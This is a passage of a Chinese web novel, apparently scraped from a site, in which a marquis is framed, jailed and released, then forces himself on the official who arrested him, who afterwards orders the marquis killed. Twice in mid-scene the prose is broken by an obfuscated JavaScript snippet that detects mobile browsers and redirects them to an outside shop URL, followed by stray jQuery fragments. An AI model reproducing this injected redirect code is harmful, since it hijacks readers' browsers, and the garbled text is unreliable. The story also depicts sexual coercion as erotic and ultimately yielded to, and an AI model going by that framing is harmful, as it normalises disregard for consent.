“账册是定的,做不了假。”温不迟的目光与他对上,“傅大人呈了底册,说是有侯爷亲签的调拨文书,与户部存根对不上。”
“哦?”南无歇终于放下银签,用帕子擦了擦手,“那倒是要去瞧瞧了,毕竟,私吞军饷的罪名,本侯可担不起。”
他站起身,衣袍带起一阵风,没半分慌乱,“只是不知,温大人是信三法司,还是信我?”
这话自有深意,他问的可不是眼下这查军饷一事,若是三法司能困住他,那他便自然完不成曾放出的“十五日”的狂言,可若是他南无歇技高一筹,那这赌约依然如约而至。
温不迟看着他眼底的笑意,那笑意里没有丝毫被构陷的恼怒,反倒像在看一场有趣的戏。
他攥了攥袖中的手,压下那点莫名的烦躁:“下官只信证据。”
“证据啊……”南无歇低笑一声,忽然朝他走近半步,两人距离骤缩,“本侯甚是好奇,那证据究竟是是傅尚书自己想起来的,还是……有人递到他手里的?”
温热的呼吸拂过耳畔,带着葡萄的甜气。
温不迟侧了侧头,避开那过于亲昵的距离,声音冷了几分:“侯爷这话是什么意思?”
“没什么,”南无歇退开,又恢复了那副松弛的样子,“只是觉得,傅大人早不查晚不查,偏在这月十五日之前翻旧账,倒是巧得很。”
他目光扫过温不迟身后的刑部差役,“看来,我今日是不得不走了。”
温不迟没接话,只微笑颔首,做了个“请”的手势。
南无歇却没动,忽然看向温不迟的袖口,那里绣着朵暗纹的兰草,针脚细密。
“温大人的绣工,倒是越发好了。”
温不迟的脸色微不可查地一僵,那袖口是前几日在酒肆里被他南无歇攥坏了,第二日绣娘拿去补绣的。
“侯爷还是关心自己吧。”温不迟忍下那点异样,声音沉了沉,“刑部的牢饭可比不得侯府的葡萄甜。”
南无歇笑了,朗声一笑,“也不一定吧?”
他的目光在温不迟脸上慢悠悠转了圈,从微蹙的眉峰落到紧抿的唇,“比如…温大人亲自送来的牢饭?”
温不迟攥握的拳头又紧了紧,强压下心头的怒意。
这人都要被拿办了,竟还在说这些轻薄的话。
“手令在此。”他从袖中摸出刑部的文书,“侯爷若再拖延,休怪下官不敬。”
“别啊。”南无歇笑着摆手,“我跟温大人走便是。”他忽然凑近,随后竖起两根手指,轻佻地晃了晃。
两日。
十五之约。
温不迟呼吸猛地一滞,抬眼时,正对上他眼底那抹势在必得的笑,像头笃定能捕获猎物的狼。
温不迟不动声色地后退半步,抬手示意身后大批差役:“搜。”
刑部的人立刻上前,动作迅速却不敢放肆。
没一会儿,便有个差役从书房暗格里翻出个木盒,捧着过来:“大人,找到了!里面有津元三年的调拨副本!”
温不迟接过木盒,看向南无歇:“侯爷,请吧。”
南无歇没看那木盒,只笑着:“那就劳烦温大人带路了?”
经过温不迟身边时,他忽然停下,手背故意擦过他的袖口,“这绣工,可配不上温大人。”
温不迟的身体瞬间绷紧,却没回头。
直到南无歇的身影消失在院外,他才缓缓松开攥紧的手,眼底翻涌着无人看懂的情绪。
南无歇越是松弛,温不迟越是生气,他越是生气,越觉得自己无能。
而上了马车的南无歇,靠在车壁上,望着窗外掠过的街景,忽然低声道:“卫清禾,去查傅叡州的侄子,在江南盐道上最近干过什么、都见了谁。”
阴影里传来回应:“是。”
他闭上眼,靠在马车内壁,唇角勾起抹淡笑。
10. 拖拽
刑部大牢的石壁泛着经年累月的霉味,南无歇被关在最里面的单间,没有镣铐,只有一张简陋的木床和一张破桌。
他毫不在意,正斜倚在床栏上,玩着颗从袖中摸出的葡萄,优哉游哉地哼着听不出音律的小调。
此案由三法司审理,谛听台的温不迟无法直接介入,可御史台、刑部和大理寺的官员轮流“审”了南无歇一整日,从津元三年的粮草调度问到北境驻军的布防,这位侯爷要么答非所问,要么干脆闭目养神,但奈何谁也不能拿他怎么样。
十四夜,审讯厅里几人面面相觑,南无歇的视线始终在几人身上打转,很是欣赏几人愁眉苦脸左右为难的模样。
少顷,他忽然坐直身子,懒洋洋地开口:“与其在这儿耗着,不如让温大人来审我,说不定我还能多说几句呢?”
众人一愣,齐刷刷看向坐在角落的温不迟。
听到这话,温不迟也抬了眼,目光与南无歇对上,那人此刻眼底的戏谑几乎要溢出来,带着点刻意的挑衅。
他沉默片刻,看了一眼几位三法司的官员,随后缓缓点了点头。
那几人如蒙大赦,纷纷起身告退。
审讯厅的门关上,只剩下两人。
温不迟放下卷宗,站起身,走到南无歇面前,居高临下地看着他:“侯爷,想好怎么坦白了吗?”
“坦白?”南无歇仰头望着他,眼睛亮晶晶的,丝毫没有眼下阶下囚的窘迫,“坦白我如何在北境杀蛮族?还是坦白……温大人今日的衣袍,比昨日更合身了些?”
他的目光慢悠悠扫过温不迟的衣襟,带着点毫不掩饰的打量:“尤其是这领口,比上次松快了些,想必是怕我再动手挑扣子?”
温不迟的声音冷了几分:“侯爷若不想谈案情,那便继续待着吧。”
“待着也无妨。”南无歇从床上跳下来,站到他面前,两人距离瞬间拉近,“只是怕温大人等不及,毕竟……”
他故意拖长了语调,“还有不到两个时辰就是十五了。”
温不迟猛地后退半步,胸口微窒。
“侯爷还是关心自己能不能出去吧。”他别开视线,“私吞军饷不是小事,想要查明,侯爷至少要在牢里待上六个月。”
“六个月?”南无歇像是听到了什么匪夷所思的笑话,“温大人觉得,我会让自己在这种地方待六个月?”
他忽然凑近,“不过也无妨,只是委屈温大人,得在牢里跟我兑现约定了。”
温热的呼吸带着点葡萄籽的甜气,这股温热激起一阵战栗。
温不迟攥紧了拳,心头一阵躁怒:“侯爷,您心可真大。”
“也没那么大,”南无歇逗道,“在牢里跟温大人独处,也挺好。”
就在这时,审讯厅的门被敲响,狱吏匆匆走进来,脸色慌张:“温大人,三法司大人请您过去一趟!说是御史台那边……收到了新证据。”
温不迟猛地回头:“什么证据?”
“说是……说是江南盐道的账册,牵扯出傅尚书的侄子伪造文书,栽赃南侯爷…”狱吏语速飞快,“几位大人说,说请您过去一同商议…”
温不迟的瞳孔骤然收缩,他看向南无歇,对方正含笑望着他,眼底的笃定像在说“去吧,去商议去吧”。
一股莫名的怒火涌上心头,随后他转身往外走,脚步都有些乱。
一个时辰后,温不迟回到审讯厅,脸色沉得像好几日没有睡觉。
御史台的证据确凿,傅叡州的侄子在江南盐道收受贿赂,还搜出了伪造账册的底稿。
桩桩件件,都指向“栽赃”二字。
三法司已决定撤案,放人。
“侯爷可以走了。”温不迟的声音听不出情绪。
南无歇伸了个懒腰,慢悠悠地整理着衣袍:“走?怎么走?我进来时是温大人亲自‘请’来的,如今要走,总不能让我自己摸回去吧?”
温不迟皱眉:“下官让人送您——”
“不必。”南无歇打断他,一步步逼近,直到二人之间的距离不过半步,“还望温大人亲自送本侯回去,毕竟,平白无故被关了一天半,总得有人赔个不是。”
此时街道传来丑时的梆子声,十五日到了。
温不迟的心跳漏了一拍,下意识想拒绝:“下官还有公务——”
“公务哪有那么重要?”南无歇的声音压得很低,带着点蛊惑的意味,他凑近温不迟的耳边,“若是温大人不愿送,那咱们就在这儿……?我不介意的。”
温不迟猛地侧头避开,他看着南无歇眼底那抹笑,心里恨的像是火烧火燎。
“……好,”他从牙缝里挤出来,“我送。”
马车驶出刑部衙门时,夜色沉沉。
车厢里一片寂静,只有两人浅浅的呼吸声,南无歇靠在车壁上,闭目养神,唇角却始终噙着抹淡笑,温不迟坐在对面,看着他放松的侧脸,心里像堵着团棉花,闷得发慌,对面这人就像块滚刀肉,油盐不进,软硬不吃,偏生还带着股让人牙痒的松弛。
摇晃了片刻,马车停在了南侯府门口,南无歇这才睁开眼,笑看着说:“温大人,进去喝杯茶?”
温不迟立刻起身:“不必了。”
他推开车门,几乎是逃也似的要下去,手刚触到马车帘,手腕就被一股力道攥住。
“急什么?”南无歇的声音里裹着笑意,带着点慵懒,“本侯好客,温大人既来了,总得进去坐坐再走。”
“侯爷刚获自由,还是早些歇息为好。”
温不迟想抽回手,却被攥得更紧。
“歇息前,总得洗个澡吧?”南无歇的指腹故意在他腕间摩挲着,“牢里那潮气,沾了一身,难受得紧。”
他忽然俯身,“你跟李昇那种关系,想必定然伺候过他沐浴,不如……也帮本侯洗洗?”
这话太过于轻浮不恭,温不迟骤然间只感觉喉咙里卡了个东西,不上不下。
“南无歇——”他低声咬牙道,屈辱的怒火已然灌入头顶,但却因着身份,只得极尽忍耐着改口道:“侯爷,你莫要太过分。”
“我过分?”南无歇低笑一声,猛地拽着他往府里走,“我在牢里待了一天半,吃了两顿馊饭,如今让‘请’我入狱的温大人帮个小忙,怎么就过分了?”
他的力气极大,温不迟被拽得踉跄了几步,青衫的下摆扫过庭院的落叶,沾了些尘土。
“放开我!”
“放了你,谁帮我搓背?”南无歇头也不回,径直拽着他穿过回廊,往卧房走去。
廊下的灯笼晃出暖黄的光,将两人的影子拉得很长,纠缠在一起,像场难分难解的角力。
卧房的屏风后里早已备好了热水,蒸腾的雾气裹着淡淡的檀香,驱散了牢里的霉味。
南无歇反手关上门,咔嗒一声落了锁。
“你!”温不迟又惊又怒,看着南无歇慢条斯理地解着衣袍的盘扣,衣裳滑落,露出线条流畅的肩背,带着常年习武的紧实肌理。
“还愣着?”南无歇转过身,“难道要我自己动手?”
温不迟攥紧了拳,他好久没有受过这等屈辱了,可眼下人在屋檐下,对方又抓着他栽赃的把柄,若是闹起来,难堪的只会是他自己。
“侯爷,”温不迟的声音冷得像冰,“我起初想同你联手的心可是至诚的。”
南无歇低笑一声,没再接话,径直踏入浴桶。
热水漫过腰际,他舒服地喟叹一声,抬眼看向站在不远处浑身紧绷的温不迟。
“愣着做什么?过来。”
温不迟闭了闭眼,终是咬着牙走过去,拿起旁边的布巾,动作僵硬地递过去。
“递给我干嘛?”南无歇挑眉,往旁边挪了挪,“帮我擦背。”
蒸汽模糊了视线,也模糊了两人之间的距离。
温不迟站在桶边,能闻到对方身上檀香混着水汽的味道,他攥着布巾迟疑了许久,才弯腰将布巾浸入水中。
布巾刚触到南无歇的后背,对方就打笑道:“温大人这力道,是在挠痒吗?”
温不迟的手猛地一顿,随后破罐破摔似的加重了力道,赌气似的用力想要搓疼对方。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526718|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可惜,徒劳。
布巾擦过脊背,带起一阵水花,温不迟能感觉到南无歇此刻的身体极度松弛,二人都没再说话,只是水里那人喉间溢出的每一声喟叹都像是羽毛一样,搔过桶外之人的心尖,让人莫名地心烦意乱。
“往左边点。”南无歇的声音带着点慵懒的沙哑,“对,就是那儿……再重点。”
温不迟咬着牙照做,指尖偶尔碰到南无歇的皮肤,迅速收回手的反应引来对方一阵嘲讽:“温大人这么怕我?”
“我怕侯爷什么?”温不迟的声音冰冷又僵硬,“怕侯爷不知廉耻?”
“我不知廉耻?”南无歇忽然转过身,水花溅了温不迟一身,青衫湿了大半,贴在身上,勾勒出清瘦的轮廓,“对,我不知廉耻。”
他伸手掼着温不迟的下巴,强迫他抬头,“但比起猎场用无辜百姓的性命设局陷害,我这点‘不知廉耻’,算得了什么?”
温热的呼吸扑在脸上,带着水汽的湿润,温不迟看着近在咫尺的脸,那双眼睛在雾气里亮得要命,像藏着两团火,随时要将他烧化。
他猛地偏头,却被攥得更紧。
“放开!”
“不放。”南无歇的手指摩挲着他的下颌线,从紧绷的线条摸到温润的唇,“今晚我是放不了温大人了。”
温不迟的怒意终于冲破防线,抬手就想推开他,却被他顺势抓住手腕,往水里一拽。
“哗啦”一声,温不迟半个身子栽进浴桶,冷水混着热水泼了他满脸,青衫彻底湿透,贴在皮肤上,他挣扎着想站起来,却被南无歇牢牢按在怀里。
温热的胸膛紧贴侧脸,南无歇下巴抵在温不迟的发顶,声音低沉,“这样不是挺好?一起洗,省得麻烦。”
温不迟闻言剧烈挣扎起来,却像撞上一堵铜墙铁壁,纹丝不动,他能闻到那股让他心慌的檀香,也能听到自己如擂鼓般的心跳。
“南无歇……”他的声音里带着压抑的怒意,还有一丝连自己都没察觉的慌乱,“你再不放开,我——”
“你想怎样?”南无歇手指轻轻解开他湿透的衣襟,“杀了我?还是……从了我?”
空气里的水汽越来越浓,将两人的身影彻底笼罩,水声、喘息声、压抑的怒意混在一起,仿佛下一秒就要炸开,却又被无形的丝线紧紧缠绕,分不开也扯不断。
南无歇并不急于将温不迟拆吃入腹,他只抬手轻轻揉着那人的喉结,又轻又慢,带着明晃晃的撩拨与侵袭。
他极其享受挑战和摧毁着对方的底线与反抗,也极其乐于欣赏对方不愿又无法抗拒的臣服姿态,他要丝丝渗透,他要将温不迟的情绪拉到顶峰,再拽着对方的脚踝拖进自己的绝对领地。
目光从眉间缓缓滑向嘴角,一寸寸描摹着,投入地感受着,温不迟的每一次吞咽和喘息他都不想放过,他要看,他要看得清清楚楚,他要将温不迟看得一干二净。
水汽氤氲的浴桶里,两人的视线都逐渐模糊了,只有不断升高的皮肤温度和不断加快的心跳声在敲着警钟,仿佛在倒数着什么。
少顷,南无歇内心的火终是点燃了所有欲望与手段,他不再逗弄,不再刺探,他扣住温不迟的后颈,不由分说,俯身便吻了下去。
不是浅尝辄止的触碰,而是掠夺,是那种最野蛮最原始的侵占。
温不迟的瞳孔骤然收缩,浑身的血液仿佛都在这一刻冲上头顶,他猛地偏头挣扎,却被按得更紧,唇齿间全是对方身上的檀香混着水汽的味道,气都喘不上。
辗转厮磨间,南无歇的手顺着温不迟湿透的衣襟探进去,抚过皮肤,极度轻薄。
“你——”温不迟的怒意彻底爆发,积攒的隐忍在这一刻轰然崩塌。
他猛地抬肘,狠狠撞向南无歇的肋骨,同时屈膝抵向他的小腹,动作又快又狠,全然是搏命的决绝。
南无歇早有防备,侧身避开要害,却仍旧是受了他一肘,闷哼一声,吻却没松开,反而变本加厉地加深。
水花被两人的动作搅得四溅,浴桶里的水晃出大半,溅湿了地面的石砖。
11. 点染
“…你…混蛋…”温不迟终于挣脱那掠夺般的吻,声音沙哑,带着喘,唇角被蹭得泛红。
由于自幼受制于人的长期经历,他恨极了这种被压制不得翻身的感觉,“没有反抗的能力”这于他而言与羞辱无异,没有余地,没有权利,面对此刻南无歇的强取豪夺,“拒绝”二字他连开口的机会都没有。
他本能地抬手去推,试图维护自己的领地,却被对方顺势抓住手腕,往身后一拧,整个人再次被迫贴在南无歇怀里,紧紧抵着他温热的胸膛,彻底模糊了二人的界限。
南无歇却很是享受,温不迟的一切反应在他眼里简直就是盛宴,今圣的栾宠、万人之上的权臣、终年玲珑毫无破绽的温大人如今被他尽数掌控,这很难令他不兴奋。
“我这就算混蛋?”他声音低沉而蛊惑,“我还有更混蛋的。”
深陷心理满足的人很难把握分寸,面对南无歇的步步紧逼,温不迟的理智轰然土崩瓦解,他的愤怒瞬间直冲上头顶,差点冒火。紧接着,雨点般的拳头直直砸向南无歇,招招冲着要那人狗命去的。
可南无歇像块浸了水的海绵,始终笑着,任他打,任他挣扎,只靠着灵活的身法躲闪,偶尔抬手格挡,另一只手却始终挑衅似地作乱,要么捏捏他的腰,要么拽拽他的衣襟,一会揉揉他的耳垂,一会划过他的嘴唇。
温不迟气的眼前发黑,下一秒,那滚烫的吻又落了下来,这次却落在了他的颈侧,带着点啃咬的力道,留下暧昧的红痕。
“滚蛋…”温不迟又气又急,挣扎得更凶,手脚并用,水花泼溅的声音、拳脚相碰的声音,和怒骂呼吸声混在一起,像场混乱的风暴。
浴桶里的水越来越少,温不迟的衣服早已湿透,贴在身上,露出锁骨处被水汽熏得泛红的皮肤,而南无歇一用力,更显肩背肌肉膨胀壮大,仿佛可以将对方整个塞进身体里。
(肌肉膨胀!打架用力肌肉就会充血,所以会膨胀!!没别的意思!!审核大大别想歪了!!)
这场纠缠在蒸腾的水汽里碰撞、交织,水花在浴桶里炸开,温不迟借着南无歇侧身的空档,猛地翻身从桶里跃出,湿透的青衫紧贴着身体,勾勒出清瘦却挺拔的线条,他反手就抄起旁边的木盆,带着满盆冷水朝南无歇扣过去。
“哗啦”一声,南无歇被浇了个透心凉,墨发湿漉漉地垂下,却笑得更欢了。
他也跟着从桶里站起来,“温大人这脾气,倒是越来越烈了。”
他说着,伸手去抓温不迟的手腕。
温不迟侧身避开,顺势抬脚朝他胸膛踹去,动作极快。
但南无歇反应更快,他直接拽住温不迟的脚踝,往怀里一带。
这一下失了平衡,温不迟整个人彻底栽进他怀里,南无歇也就着力道往后一靠,身后的屏风被撞翻。
两人从屏风后滚了出来,跌在铺着毡毯的地面上。
温不迟被压在下面,困兽犹斗,抬手就朝南无歇的脸挥拳,却被对方伸手扣住了手腕,按在地毯上,整个人被囚于那人身躯与地毯之间的这狭小缝隙,动弹不得。
“还打?”南无歇低头,呼吸滚烫。
温不迟强忍镇定平缓呼吸,他的衣襟敞开着,潮湿的布料带着肌肤相贴的灼热,起起伏伏。
(别锁我了别锁我了,审核大人,小的给您磕一个了!)
南无歇扫过他的面庞,如此好看的一张脸,如此有韧劲的一个人,如此孤傲的一身骨血,却不属于他南无歇,而是属于那位九五至尊。
霎时间,一股莫名而来的占有欲令南无歇智昏。
喉结轻微滚动,只见他忽然俯身,在温不迟颈侧狠狠咬了一口,像是野兽在标注自己新占领的领地那样,荣耀又倦怠。
“嘶——”温不迟疼得倒抽冷气,挣扎得更凶,膝盖猛地往上抵,却被南无歇用腿死死压住。
南无歇整张脸埋进温不迟的颈窝,带着点刻意的轻吮,激起温不迟一阵又羞又怒的战栗,可被压制的身体丝毫使不上力,只能任由对方在自己身上放肆。
南无歇的手顺着他敞开的衣襟滑进去,一路向上,轻轻掼住他的下颌,强迫他与自己对视。
两人的目光在咫尺之间相撞,温不迟的眼底是燃着的怒火,而南无歇的眼底则是化不开的兴奋,混着戏谑与势在必得。
(码点字不容易,求您了,尊贵的审核大人,再删就没了呜呜呜)
“还挣扎吗?”他的语气让人分不清是要还是不要,“温大人若是不挣扎了,我便——”
话音未落,温不迟忽然偏头,狠狠咬住他的手腕!
齿尖刺破皮肤的瞬间,南无歇闷哼一声,却没松开,反而再次吻了下去。
这次的吻带着血腥味,激烈又霸道,像是要将对方的气息彻底吞噬,温不迟在他怀里剧烈挣扎,却怎么也挣不脱那铁箍般的禁锢,无力的放任那掠夺般的吻落在唇上、颈间,将所有的愤怒与抗拒,都揉碎在这潮湿而灼热的纠缠里。
窗外的月光透过窗棂照进来,落在散架的屏风上,也落在纠缠的两人身上,将他们的影子映在墙上交叠着,难分难解,空气中弥漫着水汽、血腥气,还有一丝若有似无的檀香,像一场失控的野火,烧得人神智不清。
地毯上的缠斗乱七八糟,南无歇掌住温不迟的腰,将人牢牢摁在身下,“闹够了么?”
打了半天,温不迟力气耗了大半,胸膛剧烈起伏,他眼底浮起一层红,不知是怒还是别的。
南无歇见他不再言语,也不再有动作,低笑一声,拦腰将他抱起。
温不迟惊呼一声,下意识去抓对方的肩膀,随后被那人稳稳地摁在旁边的软榻上。
锦榻柔软,却抵不过身上的压迫感,南无歇撑在温不迟上方,双手按在他耳侧的榻沿,垂眸看着他。
“最后一次机会。”
温不迟喘着气,瞪着他。
“求我,说句软话,或许我还能放你一马。”
“南无歇,”温不迟的声音透着股装腔作势的刚,“你可想好了,碰了我,你这条命还要不要了?”
他温不迟是皇帝的“栾宠”,这是京里人人皆知的事,动了他,无异于打李昇的脸。
南无歇却笑了,俯身凑近,“我不碰你,李昇就不想杀我了?”
温不迟一噎。
“你我都清楚,他容不下我手里的兵权,也容不下你我走近。”南无歇抬手整理了下温不迟凌乱的头发,“区别不过是,用什么罪名杀我罢了。”
“侯爷果然通透,但碰了我是陛下的脸面问题,陛下最看重这个。”温不迟依旧持着那股倔强又易碎的冷傲,不肯认半分怂。
“脸面?”南无歇眼底闪过一丝嘲讽,“他李昇什么时候要过脸面?为了削权,连秋猎都能设局。”
他顿了顿,“温大人,不必跟我周旋了。”
他的手猛地攥住温不迟的衣襟往上一提,“今天,无论如何,你,我也要定了。”
话音落下的瞬间,他俯身,再次吻了下去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526719|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着破釜沉舟的力道,将所有的顾忌与试探,都碾碎在这灼热的纠缠里。榻上的锦被被搅得凌乱,带着水汽的潮湿与肌肤相贴的灼热交织在一起。
(祖国生日快乐!永远跟着党走!我爱我的祖国!我爱晋江!我是共产主义接班人!别锁我了求您了)
南无歇的吻从唇齿一路蔓延到颈间,留下深浅不一的红痕,像在宣示某种主权,同时,他抚过温不迟湿透的衣襟,将那些紧绷的线条一一描摹。
温不迟的挣扎渐渐弱了下去,不是认命,而是力气被一点点抽干,只剩下力竭的粗喘在灼热的呼吸里浮沉,随后他偏过头,目光落在帷帐上,那双总是冷冽的眼睛似是蒙上了一层水雾,失去了焦点。
湿漉漉的青衫被褪到了腰间,肌肤相触的瞬间,激起一阵微颤,不知道是抗拒还是什么。
(单纯的场景描写,连个主语都没有,求求了求求了,别再锁我了)
窗外的月光不知何时被乌云遮住,房间里只剩下彼此的呼吸声,粗重而滚烫,抵在南无歇胸口上的那双手缓缓上移至肩膀,推拒的力道越来越轻,渐渐只剩下指尖微微的蜷缩,最终陷入那人的发间。
这场失控的纠缠,像一场无法醒来的梦,直到天边泛起微光,一切才渐渐平息。
温不迟睁开眼时,南无歇正侧躺着看他,眼底带着慵懒的笑意,“缓过来了?”
那语气自然得仿佛他们不是仇敌,只是共度了一夜的寻常良人。
温不迟的怒意瞬间回笼,猛地翻身下床,抓过散落在地上的衣衫,胡乱地套上。
动作间,颈间的红痕、手腕的淤青都暴露出来,像在无声地控诉着昨夜的侵占。
南无歇没有拦他,只支着脑袋,饶有兴致地看着他慌乱的背影,“温大人这就要走?不多留会儿?”
温不迟没有回头,声音冷得像冰:“侯爷赐教,下官记住了。”
说完,他头也不回地冲出了房间,仿佛身后有洪水猛兽在追赶。
夜色浓得像化不开的墨,温不迟从南侯府出来时,身上的湿衣已被夜风冻干,贴在皮肤上,一片冰凉。
他没有回头,脊背挺得笔直,仿佛刚才那场失控的纠缠从未发生,可身体的酸软和颈间的灼痛都在提醒着他,刚刚经历了怎样的掠夺与屈辱。
青衫下摆扫过冰冷的石阶,他的脚步有些虚浮,却依旧维持着惯常的平静,直到远离了南侯府的大门,那紧绷的脊背才微微垮下来,眼底翻涌的情绪再也藏不住,不是暴怒,而是深不见底的困苦,混着一丝连自己都不愿承认的茫然。
他努力了这么久,步步为营,机关算尽,以为能掌控一切,却还是在南无歇面前溃不成军。那种被轻易钳制、肆意轻薄的感觉、那种束手无策的无力像根刺扎进他的心里,带着被轻视的难堪,也带着一种说不清道不明的慌乱。
回到府邸时,天已微亮。
他遣退了下人,独自坐在书房的阴影里,桌上的烛火明明灭灭,映着他苍白的脸,眼底的红血丝清晰可见。
不知坐了多久,直到窗外晨光洒满,他才缓缓开口,声音很轻,语调平淡,“戎珂。”
屋内的角落阴影里立刻传来回应,戎珂的身影无声无息地出现,躬身等候吩咐:“主人。”
温不迟的目光不知落在了何处,脸上没有任何情绪。
“去杀个人。”
戎珂没有丝毫迟疑:“主人要杀谁?”
“南无歇。”
“我要他的人头。”
12. 割据
御书房里的熏香燃得正缓,烟缕在晨光里浮浮沉沉。
李昇拿着江南送来的密报,目光落在“盐道”二字上,脸色瞧不出喜怒。
温不迟在案侧垂首而立,悄无声息。
“傅卿那侄子,”李昇忽然开口,声音里带着点倦意,“在江南盐运司,倒是‘能干’得很。”
温不迟垂眸:“傅老尚书上月还递了折子,说小傅大人在任上整肃盐政,已颇有成效。”
“颇有成效?”李昇低哼一声,将密报往案上一丢,“用盐客的盐引换银子,多添的盐量压沉了漕船,他就是这么整肃盐政的?”
温不迟没接话,他知道李昇不是在问他,是在说给自个儿听。
傅家想借江南盐道站稳脚跟,却无奈那地界早被嵇、贺两家盘得密不透风,嵇尚书管着地方官的任免,贺家握着商股的命脉,官商勾结,漕运的船装的是盐,运回来的却是洗干净的银子,哪轮得到傅家这没根基的来分羹。
这条路不能一直握在嵇家人手里,李昇心里着急,只想赶紧把这权力从嵇家手里分出去,先前给傅叡州那样一个甜头,一来是希望扶一把这位户部尚书,盼其能够制衡住嵇家,二来也是为促进二人直接对立关系的形成,以杜绝户、吏两部任何走到一起的可能性。
但嵇家经历多年朝堂风雨,即使帝王的刀戳到了眼前也依旧不动如山,南无歇此次为脱困抓了小傅大人的把柄并全捅了出来,嵇家这才借着机会一招制敌,此等心力定力,确值得叹。
“嵇舟倒是沉得住气。”李昇又道,“傅家那小子在他眼皮子底下敛财,他竟能忍到漕船出了事才动手。”
“嵇公子是怕打草惊蛇。”温不迟答得平淡,“东道漕运线连着江南十二州,牵一发而动全身。”
“傅叡州也是个没用的。”李昇语气里添了点冷意,“朕给了他机会,让他在盐道上立住脚,制衡嵇、贺两家,他倒好,让他那个好侄子被南无歇抓了把柄。”
温不迟抬眼,恰好对上李昇的目光,那目光里藏着点探究,像在问他“你怎么看”。
“傅家根基太浅,”温不迟缓缓道,“想在嵇、贺两家的地盘里抢食,难免急功近利,只是……”他顿了顿,“此事被南无歇拿了实据,怕是一定要处置小傅大人了。”
李昇轻叹,应道:“一个户部尚书的侄子换嵇家长个记性,倒也是值的。”
温不迟的心头微沉,他心里最是明白,傅家的事李昇本可以压下去,却偏要让南无歇“闹”起来,再借着傅家这条线,给嵇、贺两家提个醒,这两家根基太固,眼下拔是拔不掉的,若是能借此敲打一番也是好的。
而嵇家父子二人也是明白的,因此才没有在刑部接到圣旨时辩驳什么,都是聪明人,不会自寻坟墓。
至于傅叡州…不过是枚不堪大用的棋子罢了。
“只是,傅尚书毕竟是两朝元老,”温不迟低声道,“若是处置得太急,怕是寒了老臣的心。”
“寒心?”李昇站起身,走到窗边,望着宫墙外的流云,“当年嵇家扶持朕上位时可没说过怕谁寒心,如今他们手伸得太长,盐道、漕运、官员……”
他顿了顿,“过火了。”
与此同时,嵇府书房的檀木案上正摆着刚送来的邸报,嵇业一掌拍在案上,砚台里的墨汁溅了到处,“傅家那竖子捅的窟窿,凭什么要我嵇家填?!陛下这旨意,明摆着是敲山震虎!”
他鬓角的白发微微颤抖,显然气得不轻。执掌吏部多年,嵇家在官场上盘根错节,江南盐道的漕运更是浸了多年筹谋的心血,那些见不得光的勾当,李昇向来是睁一只眼闭一只眼,如今却借着傅家的事发难,怎能不让他怒火中烧。
嵇舟坐在对面的木椅上,手里玩着枚铜板,神色平静得不像局中人。
“爹,您消消气。”他声音温润,“陛下要的不是真相,是态度。”
“态度?”嵇业冷笑,“让我嵇家认下这莫须有的罪名,罚半年俸禄,禁足思过,这就是态度?”
他猛地起身,“那南无歇更不是东西!秋猎那事栽赃我们还没算,如今又借着傅家的案子煽风点火,真当我嵇家好欺负?”
“爹,南无歇暂时不能动,”嵇舟抬眼,目光清亮,“前些日子在茶馆,儿子与他见过一面。”
嵇业:“那莽夫能说出什么好话?”
“他不是莽夫。”嵇舟摇头,“传闻说他杀伐无度,可儿子瞧着,他比谁都懂分寸,就说赐婚那事,陛下明摆着是想拿捏他,他却面不改色接了,转头就用‘缓兵之计’化解,既没驳了陛下的面子,又没让自己陷入被动,最后反倒让陛下无法再开口提任何赐婚的事,这份定力与智谋,绝非只会打仗的武将能比。”
他顿了顿,铜板在小案上轻轻敲着:“秋猎时他帮晁允平脱身,盐道上又借傅家把陛下的怒火烧到咱们头上,步步都踩着陛下的心思,却又做得不露痕迹,这样的人,是劲敌,却绝不能轻易成仇敌。”
嵇业沉默了,他不是不清楚这些,只是咽不下这口气。
“再说,”嵇舟继续道,“陛下本就忌惮咱们嵇家,若父亲在此时与南家斗起来,岂不是正中下怀,让他人坐收渔翁之利?”
嵇业重重哼了一声,转身坐回案前,端起冷茶灌了一口:“那温不迟呢?他在陛下跟前煽风点火,真当咱们不知道?”
提到温不迟,老尚书的语气里满是鄙夷:“靠着龙阳之好上位的奸佞,还建立了个谛听台!那衙门就是悬在百官头上的刀子,谁知道什么时候会落下来!我执掌吏部,任免官员都要看他的脸色,这叫什么事!”
嵇舟的眉头也微微蹙起:“温不迟此人深不可测,他看似依附帝王权榻,实则有自己的盘算,秋猎的事和盐道的事他都掺和在里面,却始终藏在暗处,只怕比南无歇更难对付。”
“难对付又如何?”嵇业的火气又上来了,“一个靠屁股上位的娈宠,也配站在世家站在百官头上?”
“爹,眼下不是说气话的时候,”嵇舟压下老父亲的怒火,“谛听台的眼线遍布朝野,咱们的把柄本就不少,不能再给他抓到由头,当务之急,是先稳住自身。”
他看向嵇业,目光恳切:“儿子的意思是,不如试着拉拢南无歇。”
嵇业一愣:“拉拢他?他坑了咱们两次,怎么可能与咱们联手?”
“没有永远的敌人,只有永远的利益。”嵇舟微微一笑,“他与陛下之间的芥蒂是怎么也避不掉的,咱们递个橄榄枝,不计前嫌,未必没有转圜的余地。”
他看向老父亲,“过两日,儿子找个机会与他再见一面,探探他的口风。”
